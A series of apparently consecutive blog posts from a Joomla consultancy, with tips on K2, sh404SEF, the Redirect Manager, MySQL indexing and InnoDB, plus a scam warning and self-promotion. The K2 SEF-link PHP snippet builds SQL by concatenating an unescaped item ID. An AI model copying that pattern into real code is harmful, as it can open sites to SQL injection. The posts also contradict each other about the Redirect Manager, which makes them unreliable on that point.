She discussed with us her requirements. We gave her an estimate of 4 hours to complete the work, and we told her that we can start he work immediately. She then said, can you please send me at least 3 references so I can authorize the work? Our answer was: “Unfortunately, we can’t!” – and then, of course, we told her the reasons why:

  • Our references are important people working for important companies: This fact makes it really hard for us to send these references’ contact information to just any client. Our references don’t work for us and we don’t expect them to tolerate constant emails from potential clients asking them whether we’re good or not.
  • We only provide references for very large projects: If you come to us with a 4 hour mini-project and you are expecting some references – then we’re afraid we will disappoint you. We just can’t provide references for very small projects, mainly for the reason mentioned above and also because it just creates unnecessary overhead. It’s just not worth it. Only large projects (projects that take 2 months and more of full time work for one person) are entitled for references.

  • We only provide references to established companies: Let’s face it – if you’re asking for references then it’s a clear sign that you don’t trust us – so, why should we trust you? If we send our references in the major companies we work with, then what guarantees us that the contact information of these references won’t be used for something other than checking for our work?

  • We only provide references as a last step prior to authorizing the work: If we think that you’ll be going to ask us for something else after you have the references then we will decline your request for references. We think that providing any references should be the very last step prior to starting the work. There shouldn’t be any additional requirements from your end to authorize the work after checking the references.

  • We will only provide you with a maximum of two references: We had a client once who asked us for 12 references (yes, that wasn’t a typo, twelve references), obviously, we immediately dismissed the request and the project, despite the fact that the project was a very large one. We just won’t provide more than 2 references to any client under any circumstances. In most cases, we only send one reference.

  • We generally don’t like handing out references: As we mentioned earlier, references represent a big annoyance to us and to our established corporate clients, and that’s why we don’t like them. We also prefer clients who trust us from the get-go, clients who are willing to take a leap of faith with us (the same way we are with them).

After explaining the above to our client, she went ahead and authorized the project without any references, and her project was done the very same day. She was very happy with the work and the small amount of time it took to finish it.

If you want us to work with you and you are expecting references, then make sure you meet the requirements above (mainly you have a large project and you are an established company). If you have any questions, then please contact us.

How Joomla’s Redirect Manager System Plugin Works

Today, Saturday the 18th of April 2014, is a historic day. We are going to do what no man (or group of men) has ever done. We are going to unveal a great secret. We are going to explain how Joomla’s Redirect Manager system plugin works!

Yes, that dramatic introduction was necessary, because there’s not a single reference online or offline, official or unofficial, explaining how Joomla’s Redirect Manager works!

So how does Joomla’s Redirect Manager work?

A common misconception about Joomla’s Redirect Manager is that it works the following way:

  • You go to the Redirect Manager component by clicking on Components -> Redirect.
  • You click on New on the top right.

  • You enter your old URL in the Source URL and the new URL (the URL you want the old URL to redirect to) in the Destination URL.

  • You click on Save on the top right and then you visit the old URL on your trusted browser expecting a glorious 301 redirect to the destination (new) URL but nothing happens!

  • You do the same thing over and over again, making sure that you’re entering the old URL exactly as it is in the Redirect Manager, but still nothing works!

  • You give up on the Redirect Manager and you do your redirects either in the .htaccess file or through a 3rd party extension such as sh404SEF.

  • You start wondering why-oh-why does Joomla have a built-in extension that doesn’t even work, and even start suspecting the stability of Joomla.

  • You begin experiencing terrible nightmares about this issue and you start seeking professional help! (OK, this is a joke! If it’s not then you should really take it easy).

As you can see, using the Redirect Manager typically ends up in frustration and complete abandonment of the extension. The thing is, the extension actually really works, but the majority of people don’t even know how.

So, how does the Redirect Manager really work?

Here’s a concise and accurate definition of how the Redirect Manager system plugin works: “The Redirect Manager system plugin redirects from a Source URL that generates a 404 error to the Destination URL. ” In other words, don’t expect the Redirect Manager to redirect a page that already exists on your website to another page; in order for the magic to happen, the Source URL must yield a 404 error. There are some other obvious conditions for the Redirect Manager to do its job properly:

  • There must not be any condition(s) in the .htaccess file that redirects 404 pages to other pages. Such a condition will run prior to the Redirect Manager system plugin and thus, the plugin will not work because it won’t see any 404 page.
  • The Redirect Manager system plugin must be enabled (Duh!).

  • The Source URL must generate a 404 error on the Joomla website. In other words, the 404 error must be generated by the Joomla website, and not by Apache, this is because the Redirect Manager system plugin does all its work in the handleError event that is triggered when an error (non-fatal) happens on the Joomla website.

If you’re still having problems with the Redirect Manager extension and you need help, then please contact us. Our fees are right, our work is professional, we know our Joomla, and we are the friendliest programmers on planet Earth.

How to Set the Facebook Share Image on K2

If you have a Facebook Share button on your website, then you might have noticed that Facebook tends to automatically choose an image in the popup. In some cases, Facebook chooses the right image, because the image chosen is the one closest to the share button, which is typically located inside the article itself (so Facebook chooses an image from inside the article).

However, if your article doesn’t have an image, then Facebook will choose another image from your website as the share image; that image might be the logo of your website (which usually looks distorted or wrongly cropped), or even the banner of a completely irrelevant ad located inside the article. Imagine that: people clicking on the share button and seeing the image of an ad on your website instead of an image related to your website/your post.

Also, it might be that you want to display the same share image for all your articles instead of a different image for each article. That’s what many websites are doing these days to better promote their corporate social identity.

Now, if you’re using K2, then you’re in luck, because in this post we will explain how to set the Facebook share image to be the same on all your K2 articles! Without further delay, here’s how it can be done:

  • Open the file view.html.php located under the /components/com_k2/views/item folder of your Joomla website.

  • Just above the line:

    $document->setMetaData('og:description', htmlspecialchars(strip_tags($document->getDescription()), ENT_QUOTES, 'UTF-8'));

    Add the following line:

    $document->setMetaData('og:image', 'http://www.yourjoomlawebsite.com/path-to-your-facebook-share-image.jpg');

  • Save the file and upload it back to your Joomla website.

  • That’s it!

The above will set a global share image for all K2 items, but not the category pages. If you want to set the Facebook share image on a K2 category (just the category, not the items belonging to that category), then all you need to do is to assign an image to that category. Here’s how this can be done:

  • Login to the backend of your Joomla website.
  • Go to Components -> K2 -> Categories.

  • Click on the category you wish to set the Facebook Image for.

  • Click on Image (below the Language dropdown and just next to Description tab).

  • Choose an image for your category.

  • This image will be used as the default image for Facebook when you click on the Share button.

Some notes:

  • The image you choose as your Facebook share image must have a size of at least 200px x 200px, otherwise, it will not be used by Facebook. Note that you should always opt for a 1:1 ratio, for example, if the width of the image is 300px, then the height must be 300px, otherwise, the share image will look distorted.

  • Facebook will cache images, so if you don’t see your changes appearing immediately, do not worry. Your changes will appear once Facebook refreshes its cache.

  • og stands for Open Graph, which is the same standard used by LinkedIn. This means that when you set the image for Facebook share, it will be set for LinkedIn share as well!

  • You can debug your Open Graph meta data the Facebook debug tool here. Just enter the URL of the page that you have the Open Graph metadata in and Facebook will tell you how it’s reading it (it’ll also tell you if there’s any problem with it, such as images being too small).

  • K2 has some code that apparently tries to set the Facebook share image for an item. Unfortunately, that code has no effect, even if it runs, but it will never run because the condition set to run the code will never be fulfilled.

Social meta-tagging, such as setting share images, might look daunting, but it really isn’t. Nevertheless, if you have problems with social meta-tagging on your Joomla website, then please contact us. We’ll solve the problem for you in no time and for a very reasonable cost!

Duplicate Indexes Can Really Slow Down Your Joomla Website

Note: This post is extremely advanced and is geared towards those who are well versed in database administration and who have a vast knowledge of the ins and outs of Joomla. If that doesn’t apply to you, then please do not experiment with your live site (you may make things worse, much worse), and contact some professionals, such as, ahem, itoctopus!

Another note: If the MySQL Slow Query Log is showing that this query…

UPDATE #__content SET hits=n WHERE id=m

…is taking a long time to execute then this post will definitely help!

Every new programmer is taught that table indexing is good for you – and that he should ensure that all the filter fields in all the tables are properly indexed. So, that programmer grows into thinking that the more indexes he has on a table, the faster that table is. This is wrong…

In fact, the more indexes you have on a certain table, the slower any updates/inserts on that table are. Additionally, if you have duplicate indexes, then the performance hit on updates/inserts can be dramatic. Not only that, the performance gain from duplicate indexes in read only table activities (such as SELECT queries) is this: none, zilch, zero, nada! (There are some exceptions to this though.)

The thing is, detecting duplicate indexes can be a painful job, and requires some serious expertise in database administration. Of course, there are tools that can detect duplicate indexes, but we are assuming that you don’t have access to these tools.

So how can you manually detect duplicate indexes?

Before detecting duplicate indexes on a table, you will first need to check the indexes on that particular table. This can be done in 2 ways:

  1. Clicking on the Indexes link just below the table structure in the Structure view of that table in phpMyAdmin.
  2. Running the following query:

    SHOW INDEX FROM [your-joomla-table];

    For example:

    SHOW INDEX FROM #__categories

    where #__ is your Joomla table prefix as defined in the configuration.php file located in the root directory of your Joomla website.

Now, once you’re able to see the indexes on that table, you will need to visually check for duplicates. Of course, the big question is, how?

Well, an obvious duplicate index is when you have the same field indexed twice in an identical index. An example of this scenario is when you have these 2 indexes on the same table:

  • idx_left: Which solely consists of the left column.

  • idx_left_2: Which also solely consists of the left column.

Of course, it is super easy to detect such a duplicate index. A more complicated one to detect (and fix) is when you have the index consisting of more than one column. For example, let’s say you have the following indexes on your table:

  • idx_title: Which solely consists of the title column.
  • idx_title_published: Which consists of the title and the published columns.

  • idx_title_alias_published: Which consists of the 3 columns: title, alias, and published.

Now, before explaining the duplication in the above, let us very quickly explain how indexing works if there are multiple columns in the index: in short, an index is created on the first column, and then an index is created on the first column and the second column, and then an index is created on the first column, second column, and the third column, etc…

For example, in our index idx_title_alias_published above, the following columns are indexed: title/title, alias/title, alias, published. As you can see, the index idx_title is clearly a duplicate, because we already have an index on the title column as part of the idx_title_alias_published index. So, we can safely drop that index by issuing the following query (or by clicking on Drop next to the index name in phpMyAdmin):

ALTER TABLE [your-joomla-table] DROP INDEX `idx_title`

But, how about the idx_title_published index. Clearly the first index created (which is the index on the title column) is a duplicate in the idx_title_alias_published index , but the second index, which is the index on the title and the published columns, is not. Now, since there’s a 99.99999% chance that we are only interested in the idx_title_alias_published index because of the index on the 3 columns combined (e.g. the index on the title, the alias, and the published fields), then we can modify that index to be idx_title_published_alias, where the order of the fields in that index is: title, published, and alias. If we do this, then both indexes created by the idx_title_published will be included, which means we can safely delete it (e.g. we can safely delete the idx_title_published index).

Of course, the examples we gave above are simplistic, and the indexes can be much more complicated than that (keep in mind also, that in some cases, duplicate indexes are a necessity, but that’s probably in about 2% of the cases). If you are having some performance issues on your Joomla website because of duplicate indexes, then please contact us. We would love to help and we won’t charge you much.

A final thought: Table indexing is an art, so the artist title should be bestowed on whoever masters that art.

Script to Mass Update sh404SEF Links and Add the Original Links as Aliases

If you’re using sh404SEF, then, first, we feel sorry for you! But second, we have good news!

We have created a script that allows you to batch change links in sh404SEF. For example, say you have 5,000 links on your website that contain the pattern my-products/, and say you want to change my-products/ to products/ while ensuring that your old links still work. Here’s what you’ll have to do:

  • Change the category (or the menu item) alias from my-products to products.
  • Flush all the sh404SEF links.

  • Go through 5,000 links that have products/ in them, and then add the appropriate alias. For example, for the link http://www.yourjoomlawebsite.com/products/, you will need to add http://www.yourjooomlawebsite.com/my-products/ as an alias. You must do this to ensure that your old links still work and redirect to the new links. A much more expedient way of fixing the problem is by adding a rule in your .htaccess file to redirect anything that has my-products/ to products/, but it’s always better to avoid making changes in your .htaccess file unless you can’t do them at the Joomla level. (We’ve seen .htaccess files that are illegible.)

As you can see, the process for massively changing links and ensuring that the old links redirect to the new ones in a 301 redirect is not straightforward and can take a lot of time especially if you go with it the manual way (instead of doing it in the .htaccess file). But, if you use our script, then all you need to do is the following:

  • Extract the zipped PHP file to he root directory of your website.
  • Open that PHP file and change the values of $changeFrom and $changeTo to your values (in our example above, $changeFrom should be my-products/ and $changeTo should be products/).

  • Point your browser to http://www.yourjoomlawebsite.com/changesh404SEFLinks.php. Once you see the word “Done!”, then it means all your links are changed, and your old links are 301 redirected to the new ones. Congratulations!

Some notes:

  • This script is designed to work on Joomla 2.5, but it might work on 3.x with little or no modification. We haven’t tested it on Joomla 3.x yet.

  • Running the script more than once accidentally should not harm the website.

  • You should backup your website before running the script. We are not responsible for any direct/indirect issues on your website caused by the script.

We hope our post helped! If you have issues running the script, then please contact us. We’ll be more than happy to help for a very reasonable fee!

The JoomlaSupport User Is a Scam! Beware!

A new phenomenon that we’re noticing lately is that a user with a username “JoomlaSupport” is registering automatically on Joomla sites that allow user registration.

Once that user registers, the owner of the Joomla website is contacted by a shady company, (surprisingly) called “JoomlaSupport”, pretending to be Joomla’s Official Support and telling him that his website is hacked and that he needs to give them full access to fix the problem (for money, of course!).

This is a scam! Do not even reply to their email!

The problem is, some Joomla website owners will probably fall for these deceptive and scammy techniques and will most likely pay that shady company a lot of money for doing absolutely nothing. Not only that, we’re sure that this company will contact those deceived owners again, and again, and again, to extort more money from them.

So, what can one do to avoid being scammed?

Well, first of all, ignore any “official” email from Joomla – Joomla will never send emails to those using the Joomla CMS. In fact, Joomla doesn’t even know the emails of Joomla administrators/website owners out there. If you ever receive an email pretending to be from Joomla, then you should rest assured that that email is a scam.

But, how did the JoomlaSupport user registered in the first place?

By default, Joomla websites allow user registration, and that’s how any user (or any script) can register to the website, even if the website doesn’t have a registration form. Joomla administrators must disable user registration if they’re no using it, we have explained how to do this, in details, here.

If your website has received an unwelcome email from “JoomlaSupport”, then you can safely ignore it, it really is nothing more than a scam. If you want help on your Joomla website, then please contact us, and we’ll be more than happy to work with you! Please note that our super affordable fees apply.

20 Thoughts for a Better Joomla

We have been working with Joomla for nearly a decade now (actually, more than a decade if you include the time we worked with Mambo), and we know it inside out. Joomla is a great CMS, and, in our humble opinion, it is the best CMS. Having said that, there is still room for improvement, and that’s why we are listing below 20 thoughts to make Joomla even better!

  1. Using jQuery instead of MooTools: If we had a time every time we fixed a problem on a Joomla website because of a jQuery conflict with MooTools, we’d have over a hundred dollars now! We really have no idea why the Joomla team insists on using MooTools instead of jQuery, despite the fact that the latter is much easier and much more widespread. Thankfully, Joomla 3.x is using jQuery instead of MooTools, but Joomla 2.5 is still using MooTools (it can always be disabled though), which means once Joomla 2.5 is phased out, this problem will be no more!

  2. Addressing the performance issues: As we have mentioned before, Joomla suffers from major performance issues inherent to its core. We’re not only talking about inefficient queries, but we’re also talking about inefficient queries that are run twice. We are also talking about costly (database wise) updates that take forever to be executed on large Joomla websites. These problems still exist in the latest versions of Joomla 2.5 and 3.x. Interestingly, most of these performance issues did not exist in Joomla 1.5, that’s why many Joomla administrators are still hesitant to migrate to Joomla 2.5/3.x despite the security risks they currently have on their Joomla 1.5 sites.

  3. Integrating a form builder in the core: An extremely used feature in Joomla is form building. In fact, about 50% of the websites that we work on use a 3rd party custom form builder. While some of these 3rd party extensions are excellent (such as RSForms!), it is a great idea to integrate a custom form builder in Joomla’s own core instead of having Joomla administrators shop around for an extension that does this job.

  4. Integrating a data export tool: If you want to export your data from one Joomla website to another, then you will soon find that it’s not an easy task, this is because Joomla doesn’t have a built-in tool for this purpose. You will have to jump through hoops to do the export, and quite often, the result isn’t impressive (e.g. the export doesn’t work as it should). Joomla must have a data export tool similar to the one that WordPress has, it’ll really make the life of many Joomla administrators much, much easier!

  5. Fixing caching: Caching in Joomla works, but, on the flip side, it can break the whole website. This is why Joomla administrators prefer to use 3rd party extensions to handle caching. Joomla must learn from these extensions to fix its own caching. It’s completely silly to disable Joomla’s own caching to use a 3rd party extension instead.

  6. Intelligent ordering of the plugins: If you’re not that new to Joomla, you probably know by now (the hard way) that the ordering of the plugins does matter, and that you must order your plugins the right way to ensure that your website works correctly. But knowing the right ordering is extremely tricky and can take a lot of time. Joomla must have the intelligence to automatically order plugins the right way. Of course, the Joomla administrator must still be able to fine-tune the ordering – but Joomla must have a functionality to intelligently auto-order plugins.

  7. Getting rid of the assets table: If there is one table that makes everything in Joomla much more complicated, it’s the #__assets table. We consider that table a step back, and not a step forward (it didn’t exist in Joomla 1.5, and it’s one of the reasons Joomla 1.5 is faster than 2.5 and 3.x). Not only does this table add unnecessary complexity to Joomla, it also causes serious performance and ACL issues. Joomla 1.5 was running very well without this table, so getting rid of it is not impossible.

  8. Better ACL: We always have at least a couple of calls every week from customers who say that they inadvertently broke their Joomla websites because they made changes to the ACL. In some cases, customers are no longer able to login to their Joomla backend because of their accidental ACL changes. We think that the current ACL gives too much rope for administrators to hang themselves – it’s just way too allowing. The ACL must be flexible, yes, but there must be some checks to ensure that whatever the administrator is doing will not break the website.

    Additionally, Joomla’s ACL, as it currently is, is quite complicated. It should be easier, much more easier than it currently is.

  9. Better SEF: Joomla has its own SEF engine, yet most websites, especially large and important websites, use 3rd party extensions to handle SEF. In fact, the majority of these websites choose the worst Joomla extension over Joomla’s own SEF! To its credit, we think that Joomla’s SEF plugin is extremely stable – it just isn’t flexible at all.

  10. Fixing the Redirect Manager: If anyone out there knows how Joomla’s Redirect Manager component works, please do let us know. For the life of us, we have never been able to make that thing work properly without modification to Joomla’s core. The Redirect Manager is clearly broken (or it might be that nobody knows, including us and those who created it, how to make it work properly).

  11. Fixing the Update Manager: The Update Manager is a critical feature in Joomla 2.5 and up. But, alas, it’s buggy. In fact, on this very day and at this very moment, we have many websites that are updated to Joomla 2.5.19 (the latest version), but the Update Manager is telling us to update to Joomla 2.5.18. Maybe it makes sense on a Bizarro planet, but here, on Planet Earth, it’s just weird!

  12. Using the JCE Editor by default instead of TinyMCE: We love JCE Editor, and our customers love it as well. We think that it’s way better than TinyMCE, yet Joomla still ships with TinyMCE as the default editor (instead of JCE Editor), even though it often has security issues, it has way less features than JCE Editor, and it’s not even remotely as flexible. We think that Joomla must use the JCE Editor as the default editor – it’s just a much better editor on all levels.

  13. Restoring the Preview functionality: Every time we migrate a Joomla 1.5 website to Joomla 2.5 or 3.x, the client asks us, “Where is my Preview button?”. Joomla made a wrong decision by dropping the Preview functionality in version 2.5 and higher. Of course, there are 3rd party extensions that can do that, but we think that this should be part of Joomla’s core.

  14. Allowing Joomla administrators to assign modules to a menu item from within that menu item: Assigning modules to a menu item from within that menu item is an extremely handy feature, and we’re surprised that Joomla still doesn’t have it. In fact, what Joomla has at the moment (in the menu item) is completely useless: it lists all the modules that the website has in the menu item, and next to each module it has “Yes”, “No”, or “All” (there is also no way to order by Display) – if you have a few dozen modules on your Joomla website, you will immediately know how annoying and useless this feature is.

  15. Overhauling the hidden menu concept: This concept is probably related to enhancing Joomla’s SEF. The hidden menu concept started as a workaround and now is an integral part of doing things in Joomla. We think that this whole concept must be overhauled in one way or another – again, if Joomla has a much better SEF, then we won’t even need this workaround in the first place.

  16. Integrating a built-in firewall: The majority of Joomla hacks that we fixed could have been prevented if Joomla had a built-in firewall. The firewall would just have to filter the input and check the files uploaded to the system (weeding out malicious uploads). Note: At itoctopus, we have developed a mini Joomla firewall that we are using for our own clients (on top of the other security features we have implemented for them).

  17. Adding the Extra Fields functionality to content items: K2’s extra fields are very powerful and very useful, it is extremely odd that Joomla doesn’t have the equivalent in its content items. In fact, if you want to extend a content item, you will need to modify Joomla’s own core, which is not a great way of doing things! This feature is pretty handy and most Joomla administrators need it!

  18. Built-in SEO tools: While Joomla allows you to individually set the meta information (such as the meta description and the meta keywords) for content items, it will not automatically generate them. It also doesn’t add canonical links to the HTML code. Joomla must do these things – users shouldn’t need to download 3rd party extensions to do that!

  19. Ensuring that the installation of an extension will not break the website: Joomla is notorious for allowing 3rd party extensions to break the website. We think that Joomla must implement a mechanism to check whether an-about-to-be-installed extension will break the website or not, and if it will, then Joomla must not allow the installation to go through. Of course, we reckon that it’s extremely hard (but not impossible) to implement this functionality, but, at the very least, Joomla must have an easy way to revert to the previous stable state if a newly installed extension breaks the website (more or less like the Windows Restore functionality).

  20. Ensuring that an about-to-be-installed extension is secure: Before allowing an extension to be installed, Joomla must first scan it to check whether 1) it contains some malicious code and 2) it adheres to Joomla’s security standards. This is not as hard as it seems. Yes – installing an extension will take a bit more time, but that time will definitely be worth it.

There you go – this is our list for a better Joomla. If you think of something else, then please add it in the comment section below. And, as usual, if you need help on your Joomla website, then please contact us and we’ll get back to you instantly. Note that our super affordable fees apply.

How to Programmatically Generate an SEF Link of a K2 Item

Although K2 is one of the most used and powerful Joomla extensions out there, there is very little documentation to do even the basic things with it. For example, how can one generate an SEF link to a K2 item based on the ID of that item?

That’s why, at itoctopus, we decided to share a little piece of code to generate a link to a K2 item simply based on its id. Here it is:

//we assume that the K2 ID is stored in the variable $k2Id
$db = JFactory::getDbo();
$sql = "SELECT alias, catid FROM #__k2_items WHERE id='".$k2Id."'";
$db->setQuery($sql);
$arrK2ItemInformation = $db->loadAssoc();

$sql = "SELECT alias FROM #__k2_categories WHERE id='".$arrK2ItemInformation['catid']."'";
$db->setQuery($sql);
$arrK2CategoryInformation = $db->loadAssoc();

require_once(JPATH_SITE.DS.'components'.DS.'com_k2'.DS.'helpers'.DS.'route.php');
$strK2SEFURL = JURI::root().JRoute::_(
K2HelperRoute::getItemRoute($k2Id.':'.urlencode($arrK2ItemInformation['alias']),
$arrK2ItemInformation['catid'].':'.urlencode($arrK2CategoryInformation['alias']
)));
$strK2SEFURL = str_replace('//', '/', $strK2SEFURL);
//the K2 SEF URL will be stored in $strK2SEFURL

You can put the above code in a template, a module, a component, or even a plugin, as long as you know the ID of the K2 item that you want to display the link for. It really works and it’s really that simple!

If the above code is a bit over your head, then fear not, just contact us and we’ll implement it for you. We won’t charge you much and we’ll do the work quickly, efficiently, and professionally!

How to Remove the Div Tag From Custom HTML Modules

Custom HTML modules are by far the most used (and most loved) modules in Joomla. They’re very easy to use, they do the job, and they are extremely light. However, there is one problem with Custom HTML modules that stops them from being perfect, it’s that they always encapsulate the user’s content (e.g. the content that you add) in a div tag. There is no way to remove the div: you can style it the way you want, but you cannot remove it. That’s a bummer!

“Why would people want to remove that harmless div tag?”, we hear you asking… Well, because if you want to use the Custom HTML module to solely add some CSS styles or some JavaScript code, then most likely you do not want that needless div tag, especially because it may make the HTML code invalid (for example, when the module is added to the head tag).

Most Joomla administrators circumvent this problem by using a simple 3rd extension that will add their content without the encapsulating div. While this strategy works, we have a better way of doing this, and the best part is that it doesn’t involve modifying the Custom HTML module (we just extend it)…

Here’s a simple guide on how we do this:

  • We copy the default.php file from the /modules/mod_custom/tmpl folder to the /templates/[your-template-name]/html/mod_custom folder (if that folder structure doesn’t already exist, we create it).
  • We rename the file default.php which is now under the /templates/[your-template-name]/html/mod_custom to nodiv.php.

  • We open the file nodiv.php, and we remove the following lines:

    <div <?php if ($params->get('backgroundimage')) : ?> style="background-image:url(<?php echo $params->get('backgroundimage');?>)"<?php endif;?> >

    and

    </div>

  • We save the file and then we upload it back to the server.

  • We login to the backend, and we create a Custom HTML module (or we open an existing one).

  • We click on the Advanced Options tab on the right, and then we choose nodiv from the Alternative Layout dropdown.

  • We save the Custom HTML module and we check the website. And Voilà! The encapsulating div tag is no longer there!

We hope you liked our little guide and we hope that you found it useful. However, if you have tried the above and you still see the annoying div tag in the Custom HTML module even though you set the layout to nodiv, or if you think the above is too technical, then please contact us. We are always happy and eager to help, we work really fast, and our rates are super-duper cheap!

On Pointing a Fresh Joomla Install to the Database of an Old Joomla Website

We are seeing more and more Joomla administrators doing the following when they have some issues on their Joomla websites that they cannot resolve themselves:

  • They create a Joomla website from a fresh install (same version of the one that they currently have).
  • They install some or all of the extensions they have on the old website (many actually skip this step).

  • They point the fresh Joomla install to the database of the old Joomla website.

  • They then start noticing issues on their new Joomla website, including, but not limited to, missing/broken pages, and missing/broken functionality.

In short, once they do the above (point the new Joomla website to the old database), their website ends up in a worse state than it was before. But why is that?

Well, unlike popular believe, Joomla’s database and filesystem are not independent of each other. In fact, they work together in harmony to ensure that the website runs smoothly. Each database is unique to the filesystem (unless, of course, the filesystem is an exact replica of another filesystem), those who think differently risk building a Frankenstein Joomla website, and we all know what happens to a Frankenstein…

So, what is the right way of doing things?

Well, the right way to do things is obvious: Either fix the problem(s) on the old website or re-create the website from scratch by importing the data, and not by pointing the new Joomla website to the old database. If things were that easy then anyone would be doing this to fix his Joomla website. Oh, and by the way, when you have a Joomla website which has some issues, then, there is more than 90% chance that these issues are because of a corrupt database. So, doing the above will definitely not fix the problems that you originally had, and will definitely create more problems.

But what about following this strategy for hacked websites?

Many Joomla administrators believe that when their website is hacked, then there’s no way to have it completely cleaned, and that the virus will still lurk somewhere despite all the cleanup work. That’s why they prefer to go with the fresh install strategy. Well, first, there is a way to cleanup a website completely and to secure it (we do this all the time), and second, as stated above, following this strategy may well result in a corrupt website. It’s like jumping from the frying pan into the fire.

If you are a victim of following the above strategy (pointing a new Joomla website to an old database), then fear not. Just contact us and we’ll fix your old website (or your new one, but fixing the older is usually simpler) quickly, cleanly, and for a very reasonable fee.

A Joomla Module to Display a SlideBox on Page End

At itoctopus, we love to share our Joomla work with our readers. We think that by doing this we do our part to ensure that Joomla remains at the helm when it comes to CMS solutions. Why do we do that, you might be wondering? Well, because we believe, and rightly so, that Joomla’s success is directly proportional to our success!

Today, we are offering our readers, for free, a module that displays a slidebox of a new article when the person reaches the end of the current article he’s reading. We call this module the “PageEnd Slidebox”. (Not to be confused with the “Page End Slidebox” module available on the JED. That one is commercial and is not developed by us.)

The module can be downloaded here.

Quick notes:

  • The module is very simple to use. Just install it and assign it to the menu item of your choice (which normally should be a category blog), and it’ll do the rest.
  • The module should be assigned to a module position that is immediately below the content position. That module position shouldn’t have any formatting (e.g., it shouldn’t be rounded, xhtml, etc…).

  • The module does not alter any content prior to display. It simply adds a div tag at the beginning of its display position (which should be, again, immediately below the content) to know when to display the slidebox.

  • The CSS of the slidebox is controlled by the CSS file mod_pageend_slidebox.css in the css folder. If you want to change the colors of the slidebox, you should do it there.

  • The Fresh item is retrieved the following way:

    • We get the latest 5 articles from the same category of the currently displayed article (of course, we make sure that it’s not the same article that is being displayed).

    • We then get a random article from these 5 articles.

    • We display that article in the slidebox.

    If you wish to change that behavior, then you can do that. The logic is done in the default.php file located under the tmpl folder. (Note: The module can be easily adapted to work in K2.)

  • The module has no hidden links or hidden code anywhere. We really condemn these practices and have never used it and we will never use it.

  • The module is made for Joomla 2.5, but technically it should be compatible with Joomla 3.x. We haven’t tried it on Joomla 3.x though.

  • The module is extremely light. It shouldn’t add even the slightest pressure on the busiest Joomla sites. It just has one simple query to the database.

  • The module uses the jQuery JavaScript library and directly includes it from Google’s own site. We have tested this module on many Joomla sites and we didn’t have any conflict between jQuery and MooTools (another JavaScript library) on any site.

  • The module is completely free. You don’t have to pay us a penny for using it. We just hope you like it!

  • Credit is given where credit is due: We have used this resource to build our Joomla module.

We hope that you find this module useful and that it will increase your visitors’ engagement. If you need help installing/customizing it, then please contact us. We are always available for help, our work is ultra-professional, and our rates are super affordable.

On Leveraging the Power of K2’s Extra Items

If you’re an avid reader of our blog, you will probably know that we love K2 – no – make that we’re in love with K2. It just makes our lives much easier and happier: we can extend it, we can easily migrate from one version of K2 to another, it doesn’t suffer from the performance issues that Joomla’s core content management suffer from, and it just has so many amazing built-in features! It also doesn’t use the #__assets table, which makes moving the K2 content from one website to another much easier. We did cover, in details, why K2 is better for content management than Joomla’s own core here.

Now, let’s move on to the actual point of this post…

This last weekend, we were commissioned to implement a solution for a company on its Joomla website. In short, the company needed to add content to its website related to healthcare. “Easy!”, you might be thinking! “They can just add Joomla articles!”. Well, there’s more to it – they actually needed to have additional fields and display those additional fields in different colors. “Still, it’s very easy”, you might say, “they can just add those fields to every article and give a different CSS style to each”. That can be done, but it wasn’t what they wanted. They didn’t want the people adding content to go through the hassle of explicitly specifying a CSS class for those many extra fields, since the people doing that work weren’t that technical and they were afraid of ending up with inconsistency issues when it comes to the look & feel. Additionally, they wanted to be able to hide/show these extra fields on demand (yes, it can be done through CSS, but it wouldn’t look good to the search engines if a substantial portion of the page is hidden using display: none).

Thankfully, K2’s Extra Items came to the rescue. If you don’t know what those Extra Items are, let us explain: Extra Items are, in short, K2’s own way to allow you to add additional fields to the form in the backend, and to display those fields on the frontend. For example, in our project, we added the following fields to the Medicine K2 category:

  • Category: Which is a drop down of different categories of available medicine.

  • Available since: A date field (self-explanatory).

  • FDAA approved on: A date field (also self-explanatory).

As you can see, those additional fields make it much easier to add the necessary information about a medicine, to display it differently on the frontend, and to export it to a different system should the need arise. We were able to finish the whole job in 5 days (we finished on Wednesday), other companies have quoted 2 months (and more) for the very same job (as we were told by the IT Manager). Yes – it might take 2 months if you want to develop those forms from scratch, but, since we have leveraged the power of K2’s Extra Items, we finished the job in just 5 days!

But are they perfect?

Well, nothing is perfect, and that includes (or excludes? This is probably a very advanced question for Grammar Scientists…) K2’s Extra Items. Here’s why:

  • The fact that you need to assign them to only one Extra Item Group and then assign that group to a category can lead to redundancy issues. So, if you want 3 different extra items from 3 different groups for a category you will need to re-create the items, and then re-create another Extra Item Group, and then assign that group to the category.

  • You can’t add a description for the Extra Fields. Not really the end of the world, but for those who are entering the data, it can be quite annoying before they get used to the system and memorize what each field is about.

  • The associated data is stored in a json encoded format in the database, which means that you will need to decode those values, prior to using them, using the json_decode. This, of course, is not an issue when displaying those extra fields on the website. But, if you want to search by Extra Fields, it can be a bit hard and performance may not be that great. This can be a major issue if the search functionality is critical to your website (then again, there’s a solution for anything Joomla, at least at itoctopus!).

If you intend on using K2’s Extra Items on your website and you’re a bit hesitant, then don’t! We can’t recommend them highly enough. And, if you need help using them to implement a solution, then please give us a call or shoot us an email. We’re always available, we’re very hard workers, we produce high-quality code, and our rates are among the most affordable in our industry!

Your Joomla Website Is Crashing Constantly? Switch from MyISAM to InnoDB

Note: This post only applies to Joomla websites using MySQL.

Another note: This post only applies to Joomla 2.5 and lower. Joomla 3.x uses the InnoDB engine across the board by default.

The majority of crashes on Joomla websites are caused by database issues, in particular, database corruption issues. For example, if the table #__session is corrupt (and needs repair), then the whole website will crash, and, unfortunately, that table does crash a lot on large websites.

Now, the question is, why do database crashes happen?

Database crashes happen when the application (such as Joomla) is trying to write to the database, but something unexpected happens, such as temporary loss of network connection between the database server and the application, server hiccup, loss of power, etc… When this happens, and if you’re using MyISAM (which is the default table type in Joomla), then 1) the table will remain in a locked state until it’s repaired and/or 2) table corruption may happen. Any of the previous 2 issues can make your Joomla website inoperable until your repair the corrupt tables (by issuing the REPAIR query on those tables).

So, what’s the solution?

The solution is to use InnoDB instead of MyISAM as the table type for the heavily updated tables, namely the #__assets and the #__session table. InnoDB has a couple of serious advantages over MyISAM when it comes to stability, which are:

  1. Row locking instead of table locking on writes: When the Joomla website is inserting a row in the #_session table (or updating a row in that table, for that matter) and if that table is a MyISAM table, then the whole table is locked. Any requests to write to that table will be denied. On the other hand, if the table is an InnoDB table, then only the affected row will be locked, which means that concurrent writes to that table are possible as long as they are not affecting that particular row. This ensures that the table will never be left in a locked state if it’s InnoDB.
